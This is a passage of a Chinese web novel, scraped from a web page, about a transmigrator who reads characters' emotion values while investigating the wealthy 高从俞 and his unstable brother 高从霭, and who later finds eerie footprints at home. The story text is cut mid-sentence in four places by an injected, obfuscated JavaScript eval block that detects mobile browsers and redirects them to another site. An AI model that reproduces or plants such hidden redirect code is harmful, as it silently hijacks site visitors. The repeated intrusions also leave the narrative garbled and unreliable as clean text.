再想下去,负向值又得往上加。 郎峰疼得龇牙咧嘴,把李株逗笑了。 喊了他两声没得到回应的高从俞,脸色阴沉一瞬,无奈地拔高声音:“徐晓哲。” 李株回过神,看向他。 高从俞:“听院长说,高从霭是和你们一起来的,他这几天一直跟你在一起?” 高从霭自两年前休学后,除了精神病院就是待在家里。 和高家有来往的人知道他不正常,没人敢跟他玩,徐晓哲这个突然踏入高家的陌生人,能引起他的注意,并不奇怪。 李株知道,最好的谎言是半真半假。 “他那天晚上突然出现在我家门口,把我吓了跳。他还说自己病好了,要跟我做朋友。我们出去工作,他就一个人在家待着,哪儿也不去,也不爱吃饭,我想联系你,他立马发疯说要跳楼……所以,所以才帮他瞒着。” 他露出害怕的表情:“高先生,他的病是不是没有好?他在骗我。” 和高从霭有过接触的院长和郎峰,都没有插话。 他们都意识到,李株在撒谎掩饰什么。 高从俞不动声色地观察眼前的青年,表情没什么破绽。 他苦恼地揉了揉太阳穴,“好了也是暂时的,他……” 欲言又止,不知内情的人一定会想歪。 李株不想看他假惺惺的演戏,转移了话题,“高先生今天来有事吗?” 高从俞笑着道:“上次来听院长说很多小朋友爱画画,就买了些绘画工具送来。” 余下的两名保镖从汽车后备箱中,搬出四个箱子。 里面是码得整整齐齐的图画本和彩色笔。 院长:“太感谢您了,我们真的很需要。” “院长客气,都是我应该做的。”高从俞松了松领带,将西装外套脱下来递给随行秘书。 他低头挽起衬衣袖子,“外面热,咱们进去说吧。” 中午的饭众人心思各异,只有郎峰闷头大吃,李株吃饱了就说要出去走走。 没一会儿,高从俞也说要出去透透气。 郎峰的脑袋一下子抬起来,警惕的视线在两人背影上晃来晃去。 孤儿院在这个地方存在了三十多年,开始附近没有马路,更没有直达的公共交通,周围是茂密的树木和野草。 其中一部分被圈进来,在日复一日的风吹雨淋中顽强生长。 李株站在一棵高耸入云的香樟树下,听到背后传来的声音,回头看去。 果然跟出来了。 高从霭跟他一起生活了几天这件事,没那么容易糊弄。 李株开口:“高先生怎么也出来了?” 高从俞没吭声,靠近才仰头看着附近这一小片绿植:“这些树有多少年了?” “不清楚。”李株说,“听院长妈妈说,在孤儿院之前就有了。” 高从俞摸了摸笔直的树干,状似无意问起:“从霭没少麻烦你吧?” 李株:“他平时很安静。” “谢谢你照顾他这么久。”高从俞说,“从霭从小性子古怪,加上又有那种病,如有得罪你的地方,希望你多担待。” 一会儿嫌弃得要死,一会儿又帮忙说好话。 你才是人格分裂吧。 李株直接道:“你不是很讨厌他吗?” 高从霭没先到青年如此敏锐,愣了下。 他对高从俞的厌恶是刻在骨子里的,从高从霭出生至今的22年里,那些情绪一直在疯长。 尤其是这几年。 “再讨厌也是我弟弟。”高从俞快速调整表情,苦笑道,“我只有父亲和高从霭两个亲人了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339285|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李株没查过高彦和的资料,但也知道,那个年代的人家里会生好几个。 “你没有叔叔伯伯吗?”他问。 高从俞看向青年好奇的脸,他以为青年会在第一次见面后,查他的家庭信息。 难道是自己想多了? “有,都去世了。”高从俞神情落寞,抬头仰望着立在面前的人,心里不太舒服。 为了照顾他的情绪和自尊心,无论是工作中的秘书,还是家里的陈姨,跟他说话时会轻微弯下腰,垂下眼。 呈现出卑微的姿态。 但青年显然没有这种觉悟,任何时候都站得笔挺,时刻提醒他与常人不同。 高从俞两手紧紧抓着轮椅扶手,闭了闭眼睛,平复下来道:“昨天原本想请王经理让你送点心过来,站点那边却说你被人投诉,账号被封了,你没事吧?需不需要我帮忙?” “没事,已经解决了。”李株盯着他说,“这年头什么神经病都有。” 不知道为什么,高从俞有种对方在指桑骂槐的错觉。 李株又道:“我最近可倒霉了,遇到好几个投诉,也不知道得罪了哪路神仙。” 高从俞安慰:“否极泰来。” 李株打起精神,默默看着高从俞被自己扇过的脸。 “高先生,你脸还疼吗?真的很对不起。” 高从俞暗自咬牙,佯装大度:“我当时情绪失控,你也是为了帮我,不怪你。” 李株粲然一笑:“你真是个大好人。” 高从俞快笑不出来了。 【负向值+300,没见过如此低情商的蠢货,这要是我手底下的人,早他妈被开一百次了】 李株看着他头顶又冒出来的负向值,心里爽了。 不禁想,如果每天不停地刺激高从俞,负向值涨到一定程度,对方会不会再次对他起杀心。 —— 回程,李株发扬有便宜不占王八蛋的美好品质,拉着郎峰挤上高从俞的豪车。 一路上,郎峰东摸摸,西看看,惹得高从俞把增长的负面情绪,全算到李株头上。 李株起初自己在心里加,很快就加不过来了,求助系统。 【对象:高从俞;负向总值:2100】 李株觉得不可能:“你是不是加错了?” 还以为至少有三千。 365:“之前说过,他的自我情绪调控能力很强。” 李株:“那他要积累到多少分,才会忍不住干掉我?” 365:“不一定。” 他身旁的高从俞,因为后排多塞了一个郎峰,此刻正紧挨着车门。 李株抱歉道:“是不是很挤?我挪过去点。” “还好。”高从俞皮笑肉不笑,呼吸很沉。 李株看着他头顶,很好,又涨了。 高从俞的手指搭在膝盖上,轻点的速度越来越快。 【负向值+150,我对他的忍耐快到极限了,必须加快速度才行】 李株悄然坐直,这可是意外收获。 他无法理解这句话,眉头轻轻皱起来。 随即便听见高从俞说:“明天晚上家里有小型宴会,你愿意来吗?我可以介绍一些朋友给你认识。” “你朋友都是有钱人,我去会不会不合适?”李株自卑的抓紧膝盖。 郎峰眼睛都快瞪出来了。 原来他哥在面对高先生时,是这种姿态。 跟暗恋庄恒川的时候太像了。 畏畏缩缩,总是低着脑袋。 只是有一点不同,他哥低头的时候,在翻白眼。 郎峰:“……”看不透。 19.大哥,收手吧 合租房里飘着饭菜香,隔着两层楼都能闻到。 李株用钥匙开门,眼前豁然一亮。 地板光洁,家具被擦拭得干干净净,客厅的窗户开着,微风吹进来,窗帘轻轻摇曳。 茶几被清理一空,摆着两道凉菜。 厨房抽油烟机的声音停了,沈萍芳擦着手出来,“我估摸着你们要回来了,就随便做了几个菜。” 一个女人在外漂泊,性子必须要强硬,久而久之,性格也变得强势古怪,嘴巴更是厉害。 面对徐晓哲时更甚,如今要示好,她臊得脸红。 “哦。”面对这样的沈萍芳,李株实在找不到喷点,故作冷淡维持人设。 沈萍芳也不在意,她了指厨房里的灶台,“锅里炖着鱼,我先进去了,等小庄回来咱们就开饭。” “沈姐变化也太大了吧。”郎峰低头看看自己的脚,又忘了换拖鞋。 沈萍芳居然没有骂他们。 “人是会变的,比如我。”李株疯狂暗示好兄弟,他已经不是曾经的自己了。 不要动不动就怀疑他喜欢谁谁谁。 郎峰心虚地露出一个傻笑,屁颠屁颠跟着他哥回房间。 屋子里还跟之前一样,就是少了一个人。 奇怪,明明相处时间也不长,李株却觉得有些不习惯。 郎峰仰躺在床上,也有点怀念高从霭,“哥,你说高从霭回家,会不会被他大哥收拾?” 李株闭着眼睛,“不知道。” “嗐,虽然认识时间不长,但比起高先生,我更喜欢高从霭。” “为什么?”李株睁眼坐起来。 郎峰挠挠头,“高先生虽然爱笑,但我总觉得瘆得慌。” 他故作神秘的蹭到李株床上,压着声音说:“哥,你知道笑面虎吗?我觉得他是会背后捅人刀子那种。都说为富不仁,他能掌管那么大个公司,不可能真是个温和的大善人吧。” 李株没想到好兄弟有大智若愚的属性,佩服佩服。 “我跟你想法一致。”他握住郎峰的手臂,叮嘱道,“不管未来发生什么,你的首要任务是保护好自己,我不会有事。就算有事,也不用你为我出头。” 说着,忽然有点伤感。 李株在现实世界性子其实很闷,没什么朋友,加上工作成绩不够出色,同事们总是嘲笑他,骂他是垫底标兵。 之前的穿越任务中,他又一直忙着当炮灰,谁见到他都能踩一脚。 无法和小世界的人产生情感共鸣,自然不可能交心。 这个世界不一样,他可以随心所欲,谁让他不高兴就骂谁。还有郎峰这么一个,看上去憨憨的,可以为他两肋插刀的好兄弟。 即便这个兄弟是继承来的,他依旧很喜欢。 要是回去的时候,能把人栓裤腰带走就好了。 “哥,你是不是又发烧了?高从霭买的特效药还有吗,要不再来一颗?”郎峰起身在房间里翻找。 “我没发烧,你别问为什么,照我说的做就行。”高家有权有势,万一他真有个好歹,这小傻子肯定去拼命。 “我不管那么多,谁敢动你,我就弄死谁。”郎峰气哼哼道。 李株冲过去用力拍他,“杀人偿命。” 怕真把人吓着,他语气缓和,轻松道:“我就是假设,你别当真。” 郎峰的脸色不好看。 “啧,都说是玩笑了,怎么说不听,非要老子发火是吧。”李株叉着腰低吼,“别他妈扭扭捏捏的,跟小姑娘似的,看得老子直冒火。” 熟悉的怒骂,熟悉的语气。 郎峰灰暗的眼睛重新亮起来,“你总算是恢复正常了,还以为你中邪了。” 李株又一巴掌拍到他头上,“嘴欠。” 郎峰捂着头嘿嘿笑,打是疼骂是爱,不疼,只觉得亲昵。 李株轻轻踹了他一脚,“别吵,我眯会儿。” “好嘞。”郎峰出了房间,替他哥关上门。 李株立刻睁开眼睛,呆呆看着天花板,“统哥,我要是能把他带走就好了。” “你可真敢想。”365说。 李株撇撇嘴,天有多大,心就有多大,有啥不敢想的。 他翻了个身,盯着高从霭躺过的位置,“这小子也不发个消息,不知道到家没有。” 两人在和高从俞见面前,迅速交换了联络方式。 高从霭的头像有点诡异,纯黑一片,盯久了有种里面有东西的错觉。 名字就是他本名。 李株点开他的朋友圈,没有三天可见、半年可见的提示,空的。 高从霭没发过朋友圈。 李株重新戳进头像,发了条消息过去。 小徐努力:【?】 高从霭刚到家不久,正坐在高家别墅的大厅里。 兴许是太阳快下山了,整个宅子被阴暗笼罩,房子周围的绿植被吹得沙沙作响,声音从敞开的窗户飘进来,像是有鞋底摩擦过地板,有数不清的脚在走路。 陈姨在厨房做饭,手臂一直在抖,是受惊吓的后遗症。 小少爷私逃那天夜里,别墅里闹了一夜,期期艾艾的哭声充斥每个角落,地板上到处是踩出来的脚印。 第二天清早,大少爷告诉她,昨晚上高从霭偷偷跑回来了。 这一切都是他在搞鬼。 陈姨这才知道,原来以前高从霭是假装梦游,故意在家里搞出各种动静和痕迹,吓唬人。 那就是个不折不扣的疯子。 一想到昨晚被吓得缩在被子里的自己,陈姨就心慌气短,连带着看到高从霭后,也比以往更加害怕。 偏偏她什么都不敢问,怕会刺激到对方,导致他发病。 “小少爷。”陈姨端着碗筷的双手颤抖,轻轻放到餐桌上,“该吃饭了。” 高从霭撑着鬓角,斜靠在沙发上,“不想吃。” 陈姨顺着他的视线看向角落,那里摆着一个艺术大花瓶,花瓶上是蓝色海波纹。 简单线条勾勒出的卷纹图案竟然在转动! 陈姨心头大骇,用力揉眼睛,再定睛一看,波纹又正常了。 感觉到鼻翼有些湿润,她太手一抹,才发现自己惊出了冷汗。 “还是吃点吧。”陈姨轻言细语。 看到高从霭光着的脚,她顿了顿,“小少爷,您的脚受伤了,我帮您处理一下。” “用不着。”高从霭的眼睛缓缓看向她,“我是你的话,就马上辞职离开高家。” 陈姨只当他疯言疯语,没吭声,放下碗筷后把其他菜一一端出来摆好,便回了厨房不敢再出来。 过了会儿,她偷偷看出去,高从霭正搭着扶手上楼。 “神经病!” 陈姨无声唾骂,捂着胸口缩回去,继续擦拭台面。 高家给的报酬丰厚,而且她已经连续做了十五年,再过五年,高家会给她一笔钱,送她回老家养老。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344440|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>现在走,这笔钱自然拿不到。 陈姨舔了舔干涩的嘴唇,心脏不知为何跳的很快。 —— 高从霭回到二楼,进门前,他转头看了眼隔壁客房。 那扇门紧紧关闭着,黑暗从门缝爬出来,又被走廊的光线吞噬。 扔在床上的手机忽然震动,他拿起来解锁回复。 小徐努力:【?】 高从霭回:【?】 小徐努力:【你没事吧?】 高从霭:【没事】 李株抱着手机,在床上翻了个身。 啧,这让人怎么往下聊?这小子太冷淡了,很难相信他是真的想和自己做朋友。 最重要的是,从头到尾,李株没看到过高从霭的正向值。 “那个……”365难得支支吾吾。 李株心头一空,有不好的预感:“哪个?” 365:“高从霭有数据产生,但我怕你会受影响,特意没有放出来。” 不好的预感更加强烈,李株小心问:“是负向值?他也跟高从俞一样在跟我演戏?” “那倒不是。”365继续支支吾吾,“你还是不知道的好。” 李株以为自己是个杰出的绿茶,没想到系统比他更杰出。 “给我看看数据,我不怕,我心理承受能力超强。” “好吧,丑话说在前面,高从霭是你的一大助力,如果因此影响到你们的合作,进而影响到整个任务……”365点到即止。 任务失败扣掉的不只是奖金,还有基础工资。 李株已经很穷了,不想变得更穷,努力保证:“绝对不会影响,我发四。” 365:“嗯哼。” 【对象:高从霭;总值:460】 李株蹙眉,“为什么不是正向总值或者负向总值?” 365:“本系统只负责辨别正负值。” 言下之意,高从霭的情感两边都不占。 李株:“你在跟我开玩笑?” 365:“没有,我发四。” 李株和365共事多年,对方会隐瞒、会放水,但从来没有欺骗过他。 “行了,把明细调给我看看,我自己辨别总行了吧。” 【情绪值+1,家里进来了一只小老鼠】 【情绪值+1,小老鼠胆子真小,只是戳了一下,就吓得差点翻肚皮】 李株:“……” 他根本没有!只是差点喊出声而已! 【情绪值+3,他吃饭好香,明明那些菜看上去很一般】 【情绪值+5,猪吧,转眼就要吃第三碗饭了】 【情绪值+10,肚子好像有点饿了,不想自己动手】 【情绪值+18,他为什么不怕我,是因为不知道我是个疯子吗?】 【情绪值+30,果然是只老鼠,而且很喜欢偷看,他的眼珠子好灵动】 【情绪值+50,下雨了,小老鼠也不安分,偷偷跟着我溜出来了,就当他是特意来客厅陪我的好了】 李株定定看着这条明细。 原来对高从霭来说,他的跟踪、偷窥都不算事,反而被当做是一种陪伴。 他的逻辑很特别。 【情绪值+75,他被吓到的样子有点可爱,眼睛瞪得圆圆的,轻轻碰一下眼球的话,不知道瞳孔会不会缩起来】 李株表情迷惑。 正常人会有这种奇怪的想法吗? 20.大哥,收手吧 【情绪值+200,他总和高从俞在一起,真碍眼……明明我才是被关起来的那个,为什么会觉得他才更像关在玻璃中的展览品?想成为唯一有钥匙,为他开锁的人】 【情绪值+60,在他面前丢脸了,为什么要突然发病】 【情绪值+7,他怎么敢进病房,他不怕我伤害他吗?】 【情绪值+150,他打了高从俞,打了我厌恶的人,好高兴,他肯定站在我这边】 【情绪值+200,是不是打得手疼,掌心红红的,想……】 想啥? 李株想起,应该是药物失效,切断了高从霭的念头。 切断了好,免得再语出惊人。 这些明细如同高从霭的个人日志,让李株有种真的继承了原主偷窥癖的错觉,可他实在忍不住想继续看的欲|望。 他焦虑的咬着手指甲,问系统:“统哥,明细长吗?要不你来念,我来听?” 这样就不算偷窥了。 365:“本系统不提供此项服务,还看吗?不看我关了。” 李株终究斗不过自己,“看看看。” 多了解一点合作伙伴,能多增加一点合作默契。 【情绪值+50,医院好吵,家里也好吵,我该去哪里呢,我只有一个朋友……】 【情绪值+100,他看到我又惊讶又失落,果然,比起我这个神经病,他更喜欢高从俞,但还是礼貌地请我进门,给我倒水,请我吃饭,他为什么对我这么好】 【情绪值+255,我们握手了,他的手好暖,比我的小,我的手刚好能把他的手完全包住,包得紧紧的】 【情绪值+300,他是对我最好的人,从来没有人愿意跟我同床共枕】 “不对!”李株突然喊停,光屏上的自动滚动的文字也跟着暂停。 365:“有问题?” 问题大了! 李株激动道:“这些是你编的吧,总值加起来早超过460分了!” 【情绪值+200,他对待朋友的态度,与对我的态度完全不同,好嫉妒】 文字继续播放,情绪值持续叠加。 365说:“一切数据皆基于事实产生,只能说明,他此刻正在想你。” 言下之意,高从霭在回忆他们之间短暂的相处。 还是扒细节那种。 李株心跳快了几秒,很快冷静下来,老老实实被迫继续偷窥熟男心事。 【情绪值+185,想剁她的手,可是晓哲在背后看着我,我不敢】 【情绪值+50,好善良,明明不喜欢那个女人,却愿意伸出援手】 【情绪值+50,不喜欢他帮别人,他为什么不来看看我呢,我很需要帮助】 【情绪值+350,隔着衣服我能感觉到他的体温,好烫,烫到能把我的骨血融化。如果真是这样就好了,我就能变成奔腾的血液,藏进他的四肢百骸,永远和他在一起……我唯一的,朋友】 李株狠狠打了个哆嗦,心跳又开始不受控制。 纯粹是吓的。 高从霭的友情会灼伤人。 接下来该怎么办,还要继续接触吗? 他舔了舔干涸的嘴唇,现在正是吃饭的点,高从霭不去觅食想他干嘛。 【情绪值+420,想变成小孩子被他搂在怀里,挂在他身上,抱着他的腿……他们太吵了,想把那一张张嘴缝起来,不准吵不准吵不准吵,他是我的是我的是我的是我的……】 这一条前言不搭后语,情绪明显不对。 隐隐有崩坏的趋势,李株急忙给高从霭发一条消息。 小徐努力:【在做什么?】 高从霭:【在想你我的朋友,想和你在一起,不想留在这里】 字里行间透着可怜,但李株知道,他是装的,明明上一秒还疯疯癫癫。 他深吸一口气,安抚对方:【要不你回来吧,不一定非要有内应,我可以想其他办法调查高从俞】 高从霭:【没关系,我忍忍就好了】 李株:“……” 李株对他又怕又愧疚,觉得自己是个按头逼员工007的恶毒老板。 小徐努力:【那你小心,高从俞邀请我参加明天的宴会,明晚见】 高从霭放下手机走出房间,宅子里很安静,几个佣人正轻声而迅速地从大门离开。 高家有规定,佣人必须在晚上八点离开,能住下来的只有陈姨。 此刻她刚清理完饭厅和厨房的地板,准备回房间了。 瞥到有人从楼上下来,她仰头看去,触及到高从霭的漆黑的眼睛,陈姨害怕的垂下眼。 高从霭来到大厅,目光从陈姨身上掠过,扫向四周。 房子里没有宴会装点,但大厅的家具被搬走了。 “明天家里有宴会?” “有,明天晚上。”陈姨紧攥着手说。 高从霭问:“宴会主题是什么?” “就是普通的亲朋聚会。”陈姨知道的也不多。 外面都说她是高家心腹,其实不然,主家不会告诉她任何事情。作为一个只想做好本分的保姆,陈姨也不会、不敢去窥探打听。 主人说什么,她就信什么。 高从霭挥了下手示意,陈姨逃也似的跑了,进了房间。 大厅里再没有半点人气,古怪的冷风贴着地板吹进来,绕过他露在外面的脚踝。 高从霭转身,目光顺着空无一物的楼梯一路往上,停留在二楼转角。 吱呀声响起,是客房的门不知被谁打开了…… 【情绪值+35,小老鼠会被吓到吧】 正在往嘴里塞菜的李株,愣了一下,险些被噎死。 高从霭又在瞎想什么?! 李株起身捶打胸口,憋得脸一阵白一阵红。 365:“抱歉,我以为你想看就直接放出来了,没想吓你。” “答应我一件事。”李株现实中继续捶胸口,脑子里跪求系统,“和高从霭有关的数据,别冷不丁突然啪我脸上。” 365:“收到。” 李株总算把食物咽下去,叉着腰大喘气。 郎峰给他递水:“我就说让你吃慢点,没人跟你抢。” 李株想发脾气也发不出来,咕噜咕噜的往下灌水。 庄恒川放下筷子,问:“有心事?” 李株放下杯子,擦了下嘴角的水珠,“有个屁。” 语气就跟普通朋友说话一样,庄恒川感觉和这样的徐晓哲相处还不错,他道:“大家一个屋檐下住着,有困难能帮就帮。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355963|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “用你说吗。”语气不冲,是调侃的那种。 李株瞄了眼庄恒川头顶,正向值加了5分。 是男人间的友情。 沈萍芳起身,拎起啤酒瓶给一人倒了一杯酒。 她举起自己那杯:“以前的不愉快都过去了,往后咱们就是一家人。” 说完,仰头干了。 几个大男人自然不会扭扭捏捏,很快一瓶啤酒就被喝没了。 李株因为任务有点心烦,喝了几杯后开始上头,直接对着瓶子吹。 不一会儿,脑袋发胀发晕,热气蒸腾,看东西变得模糊。 庄恒川和郎峰也醉醺醺的,看他这么豪放,一个劲儿的拍手叫好。 “我哥牛逼。” “兄弟你干我也干!” 喝到最后啤酒没了,沈萍芳踉跄的去房间,拿出一瓶下午刚从批发商处拿回来的二锅头。 混合双料喝下来,四人全趴下了,客厅里鼾声此起彼伏。 李株坐在地上,上半身靠着沙发,迷迷糊糊间,自己回到了高家别墅。 他迷茫的站在大厅中央,四周漆黑一片。 正奇怪到底怎么回事,双脚不受控制往前迈。 脚底板冷得不正常,低头一看,窗外的光线照射出他湿漉漉的双脚。 怎么回事? 我去哪儿了,为什么脚上全是水? 身体不听使唤地在客厅里绕了一圈,来到二楼高从霭隔壁的客房。 也是他上次住过的那间。 房间里装饰和那晚上一样,粉色的真丝床笠,被风吹动的白色纱帘,以及散发着微弱光线的床头壁灯…… 李株伸手掀开床笠和被子,坐到粉色床单上。 水渍在床单上晕开,这才发现,原来自己浑身湿透了。 李株想起身,身体却自作主张地躺下来,拉上被子盖好。 呼……呼……呼…… 沉重的呼吸声响起,嗓子里像被塞了一团湿哒哒的棉花,李株感到憋闷,喘不上气。 不得不张开嘴,努力汲取氧气。 窒息感越来越浓烈,身体猛地下沉—— “哗啦”一声,水花在眼前炸开,冰冷的液体从四面八方涌来。 李株在挣扎,污泥、水藻、浮游生物、鱼……所有的东西争先恐后的往他嘴里钻,试图顺着食道钻进肚子里,再破肚而出…… 要死了。 要死了。 这一认知让惜命的李株惊恐地睁开眼,坐直了身子。 他慌乱的摸摸脸,太好了,没有水,自己还活着。 绷直的身体放松下来,李株看向周围,同他一样睡在客厅里的其他三人都没醒。 宿醉的后遗症强烈,头昏脑涨,身体发软,他撑着沙发试了三次才站起身。 “醒醒。”李株踢了踢腿架在茶几上,正好挡住他去路的郎峰。 郎峰嘟嘟囔囔几声,睁开迷蒙的眼睛,“哥。” 李株揉按着发胀的太阳穴,声音带着沙哑:“醒醒神,把客厅收拾了。” 说完,弯下腰伸手去捡距离自己最近的啤酒瓶。 白色的地板上,赫然印着两个泥巴脚印。脚尖对沙发,正好在李株靠坐的位置正前方。 就好像有一个人,在他醒来前站在那里。 21.大哥,收手吧 “哥,你看啥呢?” 郎峰见李株盯着地面不动,有样学样蹲到他身旁。 “我曹,这谁的脚印?”他说着便脱掉拖鞋,光脚放到旁边比对,“小这么多,那肯定不是我的。” 李株晃神,想起留宿高家那晚。 当时在地板上看到的脚印,也这么大吗? 那天光线不好,又受高从霭影响,脚印这一记忆点变得模糊不清。 “都蹲着干什么?”庄恒川醒来就见两人背对着自己,场面十分诡异。 郎峰扭头看他,手指着地:“你踩的?要不就是沈姐,我跟我哥的脚没这么小。” 庄恒川过来一看,大方地展示自己的大脚,“你管这叫小?老子44。” 沈姐打着哈欠,伸出自己的脚比对。 比她的小。 “我是38的脚,这个脚印应该是37,或者36的。”说着说着,她声音就小了。 四个人面面相觑,共同意识到—— 昨晚,在他们醉得不省人事后,有一个女人来过家里。 对方不知道用了什么办法,跨过玄关和客厅大半的空间,只在李株面前留下脚印。 沈姐皱眉,抓了抓胳膊上的鸡皮疙瘩:“不可能,昨晚我反锁过大门。” 她喝酒不断片,清楚记得自己在喝完两瓶啤酒后,摇晃着去反锁防盗门。 这也是她长期以来的习惯。 “难道是从窗户进来的?”庄恒川道。 三楼不高不矮,但他们住的是自建楼,外面没有商品房那样的空调平台,防盗护栏是嵌在玻璃外侧的窗框里的。 整个墙体没有外凸,很平整。 别说是女人,就是一个身强力壮的大男人,应该也很难爬进来。 郎峰:“不是男人,也不是女人,难不成是鬼吗哈哈哈哈哈……” 三双眼睛一起看过去,郎峰笑不出来了。 “我,我瞎说的。”他鹌鹑似的缩到他哥身后,探出一颗脑袋,“大家别当真。” 沈萍芳不知想起什么,在发呆。 听到周围起身的动静,她回过神,声音低低的,“万一,我说万一,真的是鬼呢?” 李株冷嗤:“信世界上有鬼,不如信我是秦始皇。” 郎峰点头附和。 这么不靠谱的说法,庄恒川却跟着点头说:“不怕一万,就怕万一。” 李株心里毛毛的,嘴上欠揍道:“放屁,鬼什么鬼,我看你们一个两个就是昨晚马尿喝多了,被泡傻了!” 沈萍芳拳头都紧了,又想跟他对骂。 她不停告诉自己:徐晓哲的人设就是脾气烂又嘴臭,但心是善良的,不能气不能气。 转头看了眼同样被喷的庄恒川。 那人一脸平和,甚至有点……沈萍芳一时形容不上来。 庄恒川只是单纯觉得青年从猥琐偷窥狂,转变为豪放糙爷们儿,是件好事。 【正向值+6,现在这样好,很好,特别好】 李株微张着嘴望着那行字,惊呆了。 刚才骂得那么粗俗,庄恒川不生气也就罢了,还一个劲儿说好? 有毛病。 见李株盯着自己,庄恒川以为他又要骂人,忙道:“没见过,不代表没有。” 郎峰:“意思是你见过?” 想起沈萍芳刚才的反应,他扭头问:“姐,你也见过?” 沈萍芳抿了抿唇,“不是亲眼见过,是听我去世的奶奶讲过。” 李株打了个暂停的手势,“大清早起来一张张小嘴就叭叭叭的,不饿啊?我去买早餐,等着。” 说完就跑没了影。 沈萍芳问两人:“你们说他是不想听,还是害怕听?早不买晚不买,非要现在去买。” 郎峰不觉得他哥胆子小。 在孤儿院的时候,他哥是唯一一个因为调皮捣蛋关禁闭,却不哭的小朋友。 “他胆子可大了。”在郎峰心里,他哥就是神,吐口唾沫都是帅的,“鬼故事而已,他才不怕。” “那咱们还继续讲吗?”庄恒川心痒得难受,迫切想听下去。 沈萍芳说:“他走之前不是说了「等着」?” “我以为是让咱们等饭。”郎峰忽然发现,他对他哥的了解不够深刻,任重道远。 李株在楼下享受清晨的阳光和烟火气。 他胆子不小,唯独怕这种所谓的真实鬼故事,买完早餐就在楼下磨蹭,不想上楼。 “小伙子,怎么不上去?”住在四楼的大爷被挡住去路,用拐杖点了点地。 李株抱歉的让到一旁,深呼吸三次,往三楼去。 进了门,屋子里一派安静,都在等饭。 李株故作轻松地问:“怎么都不说话,聊完了?” 郎峰:“等你回来一起听。” 我真是要谢谢你,李株面色平淡的“哦”了一声,把早餐放到茶几上,盘腿坐下。 李株:“那就边吃边说吧。” “我想想。”沈萍芳拿了杯豆浆,插上吸管,“我家乡有个习俗,人死后的第七天要回魂,那天晚上家里不能留人,还要在地上撒白面粉。” 李株咬着包子,另一只手放在膝盖上,紧攥成拳。 郎峰问:“撒面粉干啥?” 沈萍芳看他一眼,喝了口豆浆说:“第二天看到脚印就知道,亲人有没有回来过。” 庄恒川皱眉道:“我们家乡也有个这个说法,第七天死人回魂,会去生活过的地方逛一逛,了结对人间的眷恋。” 沈萍芳点点头,继续道:“那年我奶奶才十五岁,和她要好的邻居家的女儿,有天走夜路摔进池塘里淹死了。人被捞起来的时候,皮肤泡得皱巴巴的,很吓人。” 哐当一声,风吹得窗户撞上窗框。 李株吓得后背挺直,险些跳起来。 郎峰拍着胸口说:“吓死我了。” “那家人为女儿做了七天法事,第七天天黑前法事停了,法师叮嘱晚上家里不要留人,撒上白面粉,如果早上发现有脚印,就代表她回来过。 “我奶奶想念小姐妹,夜里趁家人睡着后溜了出去,藏进邻居家空置的水缸里。十二点左右,她听到一阵锁链声……然后是啪嗒啪嗒的脚步……” 沈萍芳讲得太投入,不自觉的压低音量。 “奶奶就掀开水缸盖子看出去,一双沾满污泥的脚,正好从她眼前路过。那双脚的主人在厨房转了一圈,慢慢走出去……奶奶终于知道自己做了蠢事,开始害怕了,又不敢出去,只好在缸子里一直躲到天亮。” “第二天早上,她在地上看到被污泥水染黑的脚印,落在白面粉上分外明显……” 庄恒川听完丝毫不感到害怕,“你的意思是,这对脚印是水鬼的?” “我可没这么说。”沈萍芳急忙摆手,不想被扣上封建迷信的帽子。 李株掐着大腿,竭力保持声音平稳:“我们附近最近没有人被淹死吧?” 沈萍芳:“我就是给大家提供一个思路,不一定是,而且就算真有鬼也不怕,咱们合租屋三男一女阳气足。” 李株没再说话,在心里告诉自己,世界上没有鬼,沈姐肯定在编故事。 就算有,鬼生前也是人。 活生生的人不可怕,鬼又能可怕到哪儿去? 其余人都要上班了,很快,家里就剩下李株一个人了。 他抱着手机躺在床上玩游戏,不知不觉到了中午,图方便点了个外卖吃。 吃完就睡,睡醒就下午四点了。 李株伸了个懒腰,猪一般的生活太幸福了,想继续当猪猪男孩。 他拖着软趴趴的双腿来到卫生间,洗了把脸,混沌的大脑变得清醒,这才想起自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高从俞微笑,“如果不喜欢这种场合或者累了,随时跟我说。” “好。”李株看了眼等在不远处的人,“你有事就忙,不用管我,我去吃点东西。” 